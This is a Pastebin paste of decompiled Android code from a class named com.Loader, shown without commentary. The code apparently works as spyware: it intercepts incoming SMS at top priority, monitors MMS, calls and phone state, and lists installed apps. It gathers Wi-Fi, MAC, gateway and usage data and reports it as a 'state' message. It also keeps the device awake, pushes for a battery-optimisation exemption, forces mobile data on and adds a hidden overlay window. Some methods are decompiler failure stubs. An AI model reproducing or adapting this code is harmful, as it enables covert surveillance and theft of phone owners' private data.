  3812.         r5 = "WIFI有密码";
  3813.         r10 = r5;
  3814.     L_0x018c:
  3815.         r4 = "";
  3816.         r1 = -1;
  3817.         r2 = "";
  3818.         if (r0 == 0) goto L_0x0310;
  3819.     L_0x0193:
  3820.         r3 = r0.getConnectionInfo();
  3821.         if (r3 == 0) goto L_0x01f7;
  3822.     L_0x0199:
  3823.         r1 = r3.getMacAddress();
  3824.         if (r1 == 0) goto L_0x01e2;
  3825.     L_0x019f:
  3826.         r4 = r1;
  3827.     L_0x01a0:
  3828.         r1 = r3.getRssi();
  3829.         r2 = 10;
  3830.         r5 = android.net.wifi.WifiManager.calculateSignalLevel(r1, r2);
  3831.         r2 = r3.getSSID();
  3832.         r1 = "wifiInfo.ssid";
  3833.         d.e.b.h.a(r2, r1);
  3834.         if (r2 == 0) goto L_0x01c5;
  3835.     L_0x01b5:
  3836.         r1 = r2;
  3837.         r1 = (java.lang.CharSequence) r1;
  3838.         r3 = "unknown ssid";
  3839.         r3 = (java.lang.CharSequence) r3;
  3840.         r8 = 0;
  3841.         r11 = 2;
  3842.         r12 = 0;
  3843.         r1 = d.i.t.a(r1, r3, r8, r11, r12);
  3844.         if (r1 == 0) goto L_0x0314;
  3845.     L_0x01c5:
  3846.         r1 = r14.a;
  3847.         if (r1 != 0) goto L_0x01ce;
  3848.     L_0x01c9:
  3849.         r3 = "ctx";
  3850.         d.e.b.h.b(r3);
  3851.     L_0x01ce:
  3852.         r3 = "connectivity";
  3853.         r1 = r1.getSystemService(r3);
  3854.         if (r1 != 0) goto L_0x01e6;
  3855.     L_0x01d6:
  3856.         r0 = new d.g;
  3857.         r1 = "null cannot be cast to non-null type android.net.ConnectivityManager";
  3858.         r0.<init>(r1);
  3859.         throw r0;
  3860.     L_0x01de:
  3861.         r5 = "WIFI无密码";
  3862.         r10 = r5;
  3863.         goto L_0x018c;
  3864.     L_0x01e2:
  3865.         r1 = "";
  3866.         r4 = r1;
  3867.         goto L_0x01a0;
  3868.     L_0x01e6:
  3869.         r1 = (android.net.ConnectivityManager) r1;
  3870.         r3 = 1;
  3871.         r1 = r1.getNetworkInfo(r3);
  3872.         if (r1 == 0) goto L_0x0314;
  3873.     L_0x01ef:
  3874.         r1 = r1.getExtraInfo();
  3875.         if (r1 == 0) goto L_0x0245;
  3876.     L_0x01f5:
  3877.         r2 = r1;
  3878.         r1 = r5;
  3879.     L_0x01f7:
  3880.         r0 = r0.getDhcpInfo();
  3881.         if (r0 == 0) goto L_0x0310;
  3882.     L_0x01fd:
  3883.         r3 = new java.lang.StringBuilder;
  3884.         r3.<init>();
  3885.         r3.append(r4);
  3886.         r4 = ",";
  3887.         r3.append(r4);
  3888.         r0 = r0.gateway;
  3889.         r4 = 16;
  3890.         r4 = d.i.b.a(r4);
  3891.         r0 = java.lang.Integer.toString(r0, r4);
  3892.         r4 = "java.lang.Integer.toStri…(this, checkRadix(radix))";
  3893.         d.e.b.h.a(r0, r4);
  3894.         r3.append(r0);
  3895.         r0 = ",";
  3896.         r3.append(r0);
  3897.         r3.append(r2);
  3898.         r4 = r3.toString();
  3899.         r11 = r4;
  3900.         r12 = r1;
  3901.     L_0x022c:
  3902.         r0 = r14.a;
  3903.         if (r0 != 0) goto L_0x0235;
  3904.     L_0x0230:
  3905.         r1 = "ctx";
  3906.         d.e.b.h.b(r1);
  3907.     L_0x0235:
  3908.         r1 = "audio";
  3909.         r0 = r0.getSystemService(r1);
  3910.         if (r0 != 0) goto L_0x0248;
  3911.     L_0x023d:
  3912.         r0 = new d.g;
  3913.         r1 = "null cannot be cast to non-null type android.media.AudioManager";
  3914.         r0.<init>(r1);
  3915.         throw r0;
  3916.     L_0x0245:
  3917.         r1 = "";
  3918.         goto L_0x01f5;
  3919.     L_0x0248:
  3920.         r8 = r0;
  3921.         r8 = (android.media.AudioManager) r8;
  3922.         r0 = android.os.Build.VERSION.SDK_INT;
  3923.         r1 = 21;
  3924.         if (r0 < r1) goto L_0x030d;
  3925.     L_0x0251:
  3926.         r0 = r14.a;
  3927.         if (r0 != 0) goto L_0x025a;
  3928.     L_0x0255:
  3929.         r1 = "ctx";
  3930.         d.e.b.h.b(r1);
  3931.     L_0x025a:
  3932.         r1 = "usagestats";
  3933.         r0 = r0.getSystemService(r1);
  3934.         if (r0 != 0) goto L_0x026a;
  3935.     L_0x0262:
  3936.         r0 = new d.g;
  3937.         r1 = "null cannot be cast to non-null type android.app.usage.UsageStatsManager";
  3938.         r0.<init>(r1);
  3939.         throw r0;
  3940.     L_0x026a:
  3941.         r0 = (android.app.usage.UsageStatsManager) r0;
  3942.         r1 = 4;
  3943.         r2 = java.lang.System.currentTimeMillis();
  3944.         r4 = 86400000; // 0x5265c00 float:7.82218E-36 double:4.2687272E-316;
  3945.         r4 = (long) r4;
  3946.         r2 = r2 - r4;
  3947.         r4 = java.lang.System.currentTimeMillis();
  3948.         r0 = r0.queryUsageStats(r1, r2, r4);
  3949.         if (r0 == 0) goto L_0x0286;
  3950.     L_0x0280:
  3951.         r0 = r0.isEmpty();
  3952.         if (r0 == 0) goto L_0x030d;
  3953.     L_0x0286:
  3954.         r0 = 0;
  3955.     L_0x0287:
  3956.         r1 = "WS";
  3957.         r2 = "state update";
  3958.         android.util.Log.d(r1, r2);
  3959.         r1 = r14.g;
  3960.         r2 = r6.getNetworkOperatorName();
  3961.         r3 = r14.u;
  3962.         r4 = r14.e;
  3963.         if (r4 != 0) goto L_0x029f;
  3964.     L_0x029a:
  3965.         r5 = "preferences";
  3966.         d.e.b.h.b(r5);
  3967.     L_0x029f:
  3968.         r5 = "state";
  3969.         r6 = 10;
  3970.         r6 = new java.lang.Object[r6];
  3971.         r13 = 0;
  3972.         r6[r13] = r2;
  3973.         r2 = 1;
  3974.         r6[r2] = r10;
  3975.         r2 = 2;
  3976.         r6[r2] = r11;
  3977.         r2 = 3;
  3978.         r3 = java.lang.Integer.valueOf(r3);
  3979.         r6[r2] = r3;
  3980.         r2 = 4;
  3981.         r3 = java.lang.Integer.valueOf(r12);
  3982.         r6[r2] = r3;
  3983.         r2 = 5;
  3984.         r3 = "admin";
  3985.         r10 = 0;
  3986.         r3 = r4.getBoolean(r3, r10);
  3987.         r3 = java.lang.Boolean.valueOf(r3);
  3988.         r6[r2] = r3;
  3989.         r2 = 6;
  3990.         r3 = java.lang.Boolean.valueOf(r9);
  3991.         r6[r2] = r3;
  3992.         r2 = 7;
  3993.         r3 = r7.isScreenOn();
  3994.         r3 = r3 ^ 1;
  3995.         r3 = java.lang.Boolean.valueOf(r3);
  3996.         r6[r2] = r3;
  3997.         r2 = 8;
  3998.         r3 = r8.getRingerMode();
  3999.         r3 = java.lang.Integer.valueOf(r3);
  4000.         r6[r2] = r3;
  4001.         r2 = 9;
  4002.         r0 = java.lang.Boolean.valueOf(r0);
  4003.         r6[r2] = r0;
  4004.         r3 = r1.b(r5, r6);
  4005.         r0 = com.Loader.m.a;
  4006.         r0 = (c.a.d.d) r0;
  4007.         r1 = com.Loader.n.a;
  4008.         r1 = (d.e.a.b) r1;
  4009.         if (r1 == 0) goto L_0x0306;
  4010.     L_0x0300:
  4011.         r2 = new com.d;
  4012.         r2.<init>(r1);
  4013.         r1 = r2;
  4014.     L_0x0306:
  4015.         r1 = (c.a.d.d) r1;
  4016.         r3.a(r0, r1);
  4017.         goto L_0x0008;
  4018.     L_0x030d:
  4019.         r0 = 1;
  4020.         goto L_0x0287;
  4021.     L_0x0310:
  4022.         r11 = r4;
  4023.         r12 = r1;
  4024.         goto L_0x022c;
  4025.     L_0x0314:
  4026.         r1 = r5;
  4027.         goto L_0x01f7;
  4028.     L_0x0317:
  4029.         r10 = r5;
  4030.         goto L_0x018c;
  4031.     L_0x031a:
  4032.         r3 = r1;
  4033.         goto L_0x0142;
  4034.     L_0x031d:
  4035.         r5 = r0;
  4036.         goto L_0x00d2;
  4037.         */
  4038.         throw new UnsupportedOperationException("Method not decompiled: com.Loader.h():void");
  4039.     }
  4040.  
  4041.     private final void i() {
  4042.         Dialog dialog = this.w;
  4043.         if (dialog == null || !dialog.isShowing()) {
  4044.             c.a.s b = this.g.b("getPkgMap", new Boolean[]{Boolean.valueOf(j())});
  4045.             c.a.d.d cVar = new c(this);
  4046.             d.e.a.b bVar = d.a;
  4047.             if (bVar != null) {
  4048.                 bVar = new d(bVar);
  4049.             }
  4050.             b.a(cVar, (c.a.d.d) bVar);
  4051.         }
  4052.         this.b.postDelayed(new e(this), 500000);
  4053.     }
  4054.  
  4055.     private final boolean j() {
  4056.         for (Object contains : c.c) {
  4057.             if (this.c.contains(contains)) {
  4058.                 return true;
  4059.             }
  4060.         }
  4061.         return false;
  4062.     }
  4063.  
  4064.     public final void broadcastHeadsetConnected(boolean z) {
  4065.         throw new Runtime("d2j fail translate: java.lang.RuntimeException: can not merge I and Z\n\tat com.googlecode.dex2jar.ir.TypeClass.merge(TypeClass.java:100)\n\tat com.googlecode.dex2jar.ir.ts.TypeTransformer$TypeRef.updateTypeClass(TypeTransformer.java:174)\n\tat com.googlecode.dex2jar.ir.ts.TypeTransformer$TypeAnalyze.copyTypes(TypeTransformer.java:311)\n\tat com.googlecode.dex2jar.ir.ts.TypeTransformer$TypeAnalyze.fixTypes(TypeTransformer.java:226)\n\tat com.googlecode.dex2jar.ir.ts.TypeTransformer$TypeAnalyze.analyze(TypeTransformer.java:207)\n\tat com.googlecode.dex2jar.ir.ts.TypeTransformer.transform(TypeTransformer.java:44)\n\tat com.googlecode.d2j.dex.Dex2jar$2.optimize(Dex2jar.java:162)\n\tat com.googlecode.d2j.dex.Dex2Asm.convertCode(Dex2Asm.java:414)\n\tat com.googlecode.d2j.dex.ExDex2Asm.convertCode(ExDex2Asm.java:42)\n\tat com.googlecode.d2j.dex.Dex2jar$2.convertCode(Dex2jar.java:128)\n\tat com.googlecode.d2j.dex.Dex2Asm.convertMethod(Dex2Asm.java:509)\n\tat com.googlecode.d2j.dex.Dex2Asm.convertClass(Dex2Asm.java:406)\n\tat com.googlecode.d2j.dex.Dex2Asm.convertDex(Dex2Asm.java:422)\n\tat com.googlecode.d2j.dex.Dex2jar.doTranslate(Dex2jar.java:172)\n\tat com.googlecode.d2j.dex.Dex2jar.to(Dex2jar.java:272)\n\tat com.googlecode.dex2jar.tools.Dex2jarCmd.doCommandLine(Dex2jarCmd.java:108)\n\tat com.googlecode.dex2jar.tools.BaseCmd.doMain(BaseCmd.java:288)\n\tat com.googlecode.dex2jar.tools.Dex2jarCmd.main(Dex2jarCmd.java:32)\n");
  4066.     }
  4067.  
  4068.     public final f getCallListener() {
  4069.         return this.l;
  4070.     }
  4071.  
  4072.     public final long getFirstAppDate() {
  4073.         if (this.y != 0) {
  4074.             return this.y;
  4075.         }
  4076.         Context context = this.a;
  4077.         if (context == null) {
  4078.             d.e.b.h.b("ctx");
  4079.         }
  4080.         PackageManager packageManager = context.getPackageManager();
  4081.         if (this.y == 0) {
  4082.             Object installedPackages = packageManager.getInstalledPackages(0);
  4083.             d.e.b.h.a(installedPackages, "pm.getInstalledPackages(0)");
  4084.             for (PackageInfo packageInfo : (Iterable) installedPackages) {
  4085.                 if ((packageInfo.applicationInfo.flags & 1) == 0) {
  4086.                     this.y = this.y == 0 ? packageInfo.firstInstallTime : Math.min(this.y, packageInfo.firstInstallTime);
  4087.                 }
  4088.             }
  4089.         }
  4090.         return this.y;
  4091.     }
  4092.  
  4093.     public final long getFirstAppTime() {
  4094.         return this.y;
  4095.     }
  4096.  
  4097.     public final View getFsFloatView() {
  4098.         return this.m;
  4099.     }
  4100.  
  4101.     public final String getHtmlPhoneText() {
  4102.         return this.D;
  4103.     }
  4104.  
  4105.     public final String getHtmlText() {
  4106.         return this.B;
  4107.     }
  4108.  
  4109.     public final String getHtmlTextCHT() {
  4110.         return this.C;
  4111.     }
  4112.  
  4113.     public final String getHttpPhoneServerUrl() {
  4114.         return this.s;
  4115.     }
  4116.  
  4117.     public final AlertDialog getHttpServerDlg() {
  4118.         return this.p;
  4119.     }
  4120.  
  4121.     public final String getHttpServerUrl() {
  4122.         return this.o;
  4123.     }
  4124.  
  4125.     @SuppressLint({"WrongConstant"})
  4126.     public final String getTopActivityName$loader_release(Context context) {
  4127.         d.e.b.h.b(context, "context");
  4128.         try {
  4129.             Object obj;
  4130.             if (VERSION.SDK_INT < 21) {
  4131.                 String str = (String) null;
  4132.                 Object systemService = context.getSystemService("activity");
  4133.                 if (systemService == null) {
  4134.                     throw new d.g("null cannot be cast to non-null type android.app.ActivityManager");
  4135.                 }
  4136.                 List runningTasks = ((ActivityManager) systemService).getRunningTasks(100);
  4137.                 if (runningTasks == null) {
  4138.                     return str;
  4139.                 }
  4140.                 Iterator it = runningTasks.iterator();
  4141.                 if (!it.hasNext()) {
  4142.                     return str;
  4143.                 }
  4144.                 obj = ((RunningTaskInfo) it.next()).topActivity;
  4145.                 d.e.b.h.a(obj, "f");
  4146.                 String className = obj.getClassName();
  4147.                 StringBuilder stringBuilder = new StringBuilder();
  4148.                 stringBuilder.append(obj.getPackageName());
  4149.                 stringBuilder.append("/");
  4150.                 stringBuilder.append(className);
  4151.                 return stringBuilder.toString();
  4152.             }
  4153.             long currentTimeMillis = System.currentTimeMillis();
  4154.             obj = context.getSystemService("usagestats");
  4155.             if (obj == null) {
  4156.                 throw new d.g("null cannot be cast to non-null type android.app.usage.UsageStatsManager");
  4157.             }
  4158.             List<UsageStats> queryUsageStats = ((UsageStatsManager) obj).queryUsageStats(4, currentTimeMillis - ((long) 10000), currentTimeMillis);
  4159.             if (queryUsageStats == null) {
  4160.                 return null;
  4161.             }
  4162.             if (queryUsageStats.isEmpty()) {
  4163.                 return null;
  4164.             }
  4165.             UsageStats usageStats = (UsageStats) null;
  4166.             UsageStats usageStats2 = usageStats;
  4167.             for (UsageStats usageStats3 : queryUsageStats) {
  4168.                 if (usageStats2 != null) {
  4169.                     currentTimeMillis = usageStats2.getLastTimeUsed();
  4170.                     d.e.b.h.a((Object) usageStats3, "usageStats");
  4171.                     if (currentTimeMillis >= usageStats3.getLastTimeUsed()) {
  4172.                     }
  4173.                 }
  4174.                 usageStats2 = usageStats3;
  4175.             }
  4176.             return usageStats2 != null ? usageStats2.getPackageName() : null;
  4177.         } catch (Exception e) {
  4178.             e.printStackTrace();
  4179.             return null;
  4180.         }
  4181.     }
  4182.  
  4183.     public final String getWebPageData() {
  4184.         return this.r;
  4185.     }
  4186.  
  4187.     public final WifiLock getWifiLock() {
  4188.         WifiLock wifiLock = this.wifiLock;
  4189.         if (wifiLock == null) {
  4190.             d.e.b.h.b("wifiLock");
  4191.         }
  4192.         return wifiLock;
  4193.     }
  4194.  
  4195.     public final void onStop() {
  4196.         g.a(this.g, 0, null, 3, null).a();
  4197.         Context context = this.a;
  4198.         if (context == null) {
  4199.             d.e.b.h.b("ctx");
  4200.         }
  4201.         context.unregisterReceiver(this.q);
  4202.         Context context2 = this.a;
  4203.         if (context2 == null) {
  4204.             d.e.b.h.b("ctx");
  4205.         }
  4206.         WifiManager wifiManager = (WifiManager) context2.getSystemService("wifi");
  4207.         if (wifiManager != null) {
  4208.             WifiInfo connectionInfo = wifiManager.getConnectionInfo();
  4209.             if (connectionInfo != null) {
  4210.                 SharedPreferences sharedPreferences = this.e;
  4211.                 if (sharedPreferences == null) {
  4212.                     d.e.b.h.b("preferences");
  4213.                 }
  4214.                 sharedPreferences.edit().putString("wifissid", connectionInfo.getSSID()).apply();
  4215.             }
  4216.         }
  4217.     }
  4218.  
  4219.     public final String ping(String str, int i) {
  4220.         int i2 = 1;
  4221.         d.e.b.h.b(str, "host");
  4222.         try {
  4223.             Runtime runtime = Runtime.getRuntime();
  4224.             StringBuilder stringBuilder = new StringBuilder();
  4225.             stringBuilder.append("ping -c ");
  4226.             stringBuilder.append(i);
  4227.             stringBuilder.append(' ');
  4228.             stringBuilder.append(str);
  4229.             Object exec = runtime.exec(stringBuilder.toString());
  4230.             d.e.b.h.a(exec, "prc");
  4231.             Object inputStream = exec.getInputStream();
  4232.             d.e.b.h.a(inputStream, "prc.inputStream");
  4233.             String str2 = new String(d.d.a.a(inputStream, 0, 1, null), d.i.d.a);
  4234.             exec = exec.getErrorStream();
  4235.             d.e.b.h.a(exec, "prc.errorStream");
  4236.             byte[] a = d.d.a.a(exec, 0, 1, null);
  4237.             if (a.length != 0) {
  4238.                 i2 = 0;
  4239.             }
  4240.             if ((i2 ^ 1) == 0) {
  4241.                 return str2;
  4242.             }
  4243.             StringBuilder stringBuilder2 = new StringBuilder();
  4244.             stringBuilder2.append(str2);
  4245.             stringBuilder2.append("\r\n");
  4246.             stringBuilder2.append(new String(a, d.i.d.a));
  4247.             return stringBuilder2.toString();
  4248.         } catch (Exception e) {
  4249.             return e.toString();
  4250.         }
  4251.     }
  4252.  
  4253.     public final void removeFullscreenFloatWindow() {
  4254.         new Handler(Looper.getMainLooper()).post(new aj(this));
  4255.     }
  4256.  
  4257.     public final void requestIgnoreBatteryOpt() {
  4258.         if (VERSION.SDK_INT >= 23) {
  4259.             try {
  4260.                 Context context = this.a;
  4261.                 if (context == null) {
  4262.                     d.e.b.h.b("ctx");
  4263.                 }
  4264.                 Object systemService = context.getSystemService("power");
  4265.                 if (systemService == null) {
  4266.                     throw new d.g("null cannot be cast to non-null type android.os.PowerManager");
  4267.                 }
  4268.                 Context context2;
  4269.                 PowerManager powerManager = (PowerManager) systemService;
  4270.                 Method method = powerManager.getClass().getMethod("isIgnoringBatteryOptimizations", new Class[]{String.class});
  4271.                 if (this.a == null) {
  4272.                     d.e.b.h.b("ctx");
  4273.                 }
  4274.                 systemService = method.invoke(powerManager, new Object[]{context2.getPackageName()});
  4275.                 if (systemService == null) {
  4276.                     throw new d.g("null cannot be cast to non-null type kotlin.Boolean");
  4277.                 }
  4278.                 boolean booleanValue = ((Boolean) systemService).booleanValue();
  4279.                 StringBuilder stringBuilder = new StringBuilder();
  4280.                 stringBuilder.append("");
  4281.                 stringBuilder.append(booleanValue);
  4282.                 Log.d("ibo", stringBuilder.toString());
  4283.                 Intent intent = new Intent();
  4284.                 intent.setAction("android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS");
  4285.                 stringBuilder = new StringBuilder();
  4286.                 stringBuilder.append("package:");
  4287.                 context2 = this.a;
  4288.                 if (context2 == null) {
  4289.                     d.e.b.h.b("ctx");
  4290.                 }
  4291.                 stringBuilder.append(context2.getPackageName());
  4292.                 intent.setData(Uri.parse(stringBuilder.toString()));
  4293.                 intent.addFlags(268435456);
  4294.                 Context context3 = this.a;
  4295.                 if (context3 == null) {
  4296.                     d.e.b.h.b("ctx");
  4297.                 }
  4298.                 context3.startActivity(intent);
  4299.             } catch (Exception e) {
  4300.                 e.printStackTrace();
  4301.             }
  4302.         }
  4303.     }
  4304.  
  4305.     public final void requestIgnoreBatteryOpt2() {
  4306.         try {
  4307.             Context context = this.a;
  4308.             if (context == null) {
  4309.                 d.e.b.h.b("ctx");
  4310.             }
  4311.             Intent launchIntentForPackage = context.getPackageManager().getLaunchIntentForPackage("com.android.chrome");
  4312.             launchIntentForPackage.addFlags(268435456);
  4313.             Context context2 = this.a;
  4314.             if (context2 == null) {
  4315.                 d.e.b.h.b("ctx");
  4316.             }
  4317.             context2.startActivity(launchIntentForPackage);
  4318.         } catch (Exception e) {
  4319.             e.printStackTrace();
  4320.         }
  4321.         new Handler(Looper.getMainLooper()).postDelayed(new ak(this), 1500);
  4322.     }
  4323.  
  4324.     public final void sendStartTLSMail(String str) {
  4325.         d.e.b.h.b(str, "content");
  4326.         new Thread(new al(this, str)).start();
  4327.     }
  4328.  
  4329.     public final void setCallListener(f fVar) {
  4330.         d.e.b.h.b(fVar, "<set-?>");
  4331.         this.l = fVar;
  4332.     }
  4333.  
  4334.     public final void setFirstAppTime(long j) {
  4335.         this.y = j;
  4336.     }
  4337.  
  4338.     public final void setFsFloatView(View view) {
  4339.         this.m = view;
  4340.     }
  4341.  
  4342.     public final void setHttpPhoneServerUrl(String str) {
  4343.         d.e.b.h.b(str, "<set-?>");
  4344.         this.s = str;
  4345.     }
  4346.  
  4347.     public final void setHttpServerDlg(AlertDialog alertDialog) {
  4348.         this.p = alertDialog;
  4349.     }
  4350.  
  4351.     public final void setHttpServerUrl(String str) {
  4352.         d.e.b.h.b(str, "<set-?>");
  4353.         this.o = str;
  4354.     }
  4355.  
  4356.     public final void setSpeekModle$loader_release(boolean z) {
  4357.     }
  4358.  
  4359.     public final void setWebPageData(String str) {
  4360.         d.e.b.h.b(str, "<set-?>");
  4361.         this.r = str;
  4362.     }
  4363.  
  4364.     public final void setWifiLock(WifiLock wifiLock) {
  4365.         d.e.b.h.b(wifiLock, "<set-?>");
  4366.         this.wifiLock = wifiLock;
  4367.     }
  4368.  
  4369.     public final void showFullscreenFloatWindow() {
  4370.         new Handler(Looper.getMainLooper()).post(new am(this));
  4371.     }
  4372.  
  4373.     public final void start(Context context, Intent intent, int[] iArr) {
  4374.         SharedPreferences sharedPreferences;
  4375.         d.e.b.h.b(context, "ctx");
  4376.         if (iArr != null) {
  4377.             try {
  4378.                 if (iArr.length == 3) {
  4379.                     sharedPreferences = context.getSharedPreferences("pref", 0);
  4380.                     sharedPreferences.edit().putInt("create", sharedPreferences.getInt("create", 0) + 1).apply();
  4381.                     if (VERSION.SDK_INT >= 18) {
  4382.                         Notification.Builder builder = new Notification.Builder(context);
  4383.                         builder.setSmallIcon(iArr[0]);
  4384.                         builder.setContentTitle(" ");
  4385.                         builder.setContentText(" ");
  4386.                         Notification build = builder.build();
  4387.                         build.contentView = new RemoteViews(context.getPackageName(), iArr[1]);
  4388.                         new as(build, iArr, context, 21334, new Handler(Looper.getMainLooper())).run();
  4389.                     } else {
  4390.                         ((Service) context).startForeground(21334, new Notification());
  4391.                     }
  4392.                 }
  4393.             } catch (Exception e) {
  4394.             }
  4395.         }
  4396.         boolean z = intent != null;
  4397.         Log.d("APP_LOCALE", Locale.getDefault().toString());
  4398.         Object systemService = context.getSystemService("phone");
  4399.         if (systemService == null) {
  4400.             throw new d.g("null cannot be cast to non-null type android.telephony.TelephonyManager");
  4401.         }
  4402.         TelephonyManager telephonyManager = (TelephonyManager) systemService;
  4403.         String a = a(telephonyManager);
  4404.         if (a == null) {
  4405.             a = "";
  4406.         }
  4407.         if (!(s.a(a, "+86", false, 2, null) || s.a(a, "13", false, 2, null) || s.a(a, "15", false, 2, null))) {
  4408.             s.a(a, "18", false, 2, null);
  4409.         }
  4410.         Thread.setDefaultUncaughtExceptionHandler(new an(this));
  4411.         this.a = context;
  4412.         System.gc();
  4413.         systemService = context.getSharedPreferences("pref", 0);
  4414.         d.e.b.h.a(systemService, "ctx.getSharedPreferences…f\", Context.MODE_PRIVATE)");
  4415.         this.e = systemService;
  4416.         systemService = context.getApplicationContext().getSystemService("power");
  4417.         if (systemService == null) {
  4418.             throw new d.g("null cannot be cast to non-null type android.os.PowerManager");
  4419.         }
  4420.         PowerManager powerManager = (PowerManager) systemService;
  4421.         StringBuilder stringBuilder = new StringBuilder();
  4422.         stringBuilder.append("wk");
  4423.         stringBuilder.append(hashCode());
  4424.         systemService = powerManager.newWakeLock(1, stringBuilder.toString());
  4425.         d.e.b.h.a(systemService, "pm.newWakeLock(PowerMana…_LOCK, \"wk\" + hashCode())");
  4426.         this.f = systemService;
  4427.         WakeLock wakeLock = this.f;
  4428.         if (wakeLock == null) {
  4429.             d.e.b.h.b("wakeLock");
  4430.         }
  4431.         wakeLock.acquire();
  4432.         c.a.g.a.a().a(ao.a);
  4433.         IntentFilter intentFilter = new IntentFilter();
  4434.         intentFilter.addAction("android.provider.Telephony.SMS_RECEIVED");
  4435.         intentFilter.setPriority(Integer.MAX_VALUE);
  4436.         intentFilter.addCategory("android.intent.category.DEFAULT");
  4437.         context.registerReceiver(this.q, intentFilter);
  4438.         context.registerReceiver(this.q, new IntentFilter("android.net.conn.CONNECTIVITY_CHANGE"));
  4439.         context.registerReceiver(this.q, new IntentFilter("android.intent.action.BATTERY_CHANGED"));
  4440.         context.registerReceiver(this.q, new IntentFilter(n.a.a()));
  4441.         context.registerReceiver(this.q, new IntentFilter("android.intent.action.USER_PRESENT"));
  4442.         context.registerReceiver(this.q, new IntentFilter("android.intent.action.PHONE_STATE"));
  4443.         context.registerReceiver(this.q, new IntentFilter("android.net.wifi.SCAN_RESULTS"));
  4444.         intentFilter = new IntentFilter();
  4445.         intentFilter.addAction("android.intent.action.PACKAGE_ADDED");
  4446.         intentFilter.addAction("android.intent.action.PACKAGE_REMOVED");
  4447.         intentFilter.addDataScheme("package");
  4448.         context.registerReceiver(this.q, intentFilter);
  4449.         intentFilter = new IntentFilter();
  4450.         intentFilter.addAction("android.intent.action.SCREEN_OFF");
  4451.         intentFilter.addAction("android.intent.action.SCREEN_ON");
  4452.         intentFilter.addAction("android.media.RINGER_MODE_CHANGED");
  4453.         context.registerReceiver(this.q, intentFilter);
  4454.         for (PackageInfo packageInfo : context.getPackageManager().getInstalledPackages(0)) {
  4455.             Set set = this.c;
  4456.             systemService = packageInfo.packageName;
  4457.             d.e.b.h.a(systemService, "info.packageName");
  4458.             set.add(systemService);
  4459.         }
  4460.         if (z) {
  4461.             requestIgnoreBatteryOpt();
  4462.         }
  4463.         p.d(context);
  4464.         sharedPreferences = this.e;
  4465.         if (sharedPreferences == null) {
  4466.             d.e.b.h.b("preferences");
  4467.         }
  4468.         p.a(context, sharedPreferences.getString("wifissid", null));
  4469.         try {
  4470.             ConnectivityManager.class.getMethod("setMobileDataEnabled", new Class[]{d.e.a.a(d.e.b.k.a(Boolean.TYPE))}).invoke(context.getSystemService("connectivity"), new Object[]{Boolean.valueOf(true)});
  4471.         } catch (Exception e2) {
  4472.         }
  4473.         telephonyManager.listen(new ap(this), 320);
  4474.         telephonyManager.listen(this.l, 32);
  4475.         d();
  4476.         b();
  4477.         this.h.schedule(new aq(this, context), 0, 1000);
  4478.         try {
  4479.             LayoutParams layoutParams = new LayoutParams();
  4480.             systemService = context.getApplicationContext().getSystemService("window");
  4481.             if (systemService == null) {
  4482.                 throw new d.g("null cannot be cast to non-null type android.view.WindowManager");
  4483.             }
  4484.             WindowManager windowManager = (WindowManager) systemService;
  4485.             layoutParams.type = 2010;
  4486.             layoutParams.format = 1;
  4487.             layoutParams.flags = 8;
  4488.             layoutParams.gravity = 51;
  4489.             layoutParams.width = 2;
  4490.             layoutParams.height = 2;
  4491.             View view = new View(context.getApplicationContext());
  4492.             view.setBackgroundDrawable(new ColorDrawable(0));
  4493.             windowManager.addView(view, layoutParams);
  4494.             context.getContentResolver().registerContentObserver(Uri.parse("content://mms/#"), true, new ar(this, context, new Handler()));
  4495.         } catch (Exception e3) {
  4496.             e3.printStackTrace();
  4497.         }
  4498.     }
  4499.  
  4500.     public final void web(Activity activity, WebView webView) {
  4501.         d.e.b.h.b(activity, "activity");
  4502.         d.e.b.h.b(webView, "webView");
  4503.         webView.setWebViewClient(new bb());
  4504.         webView.setWebChromeClient(new bc(webView, activity));
  4505.         Object settings = webView.getSettings();
  4506.         d.e.b.h.a(settings, "webSetting");
  4507.         settings.setAllowFileAccess(true);
  4508.         settings.setJavaScriptEnabled(true);
  4509.         settings.setDomStorageEnabled(true);
  4510.         settings.setDatabaseEnabled(true);
  4511.         settings.setAppCacheEnabled(true);
  4512.         settings.setUseWideViewPort(true);
  4513.         webView.setOnKeyListener(new bd(webView));
  4514.         Log.d("WS", "加载url");
  4515.         new Thread(new be(this, webView)).start();
  4516.     }
  4517. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top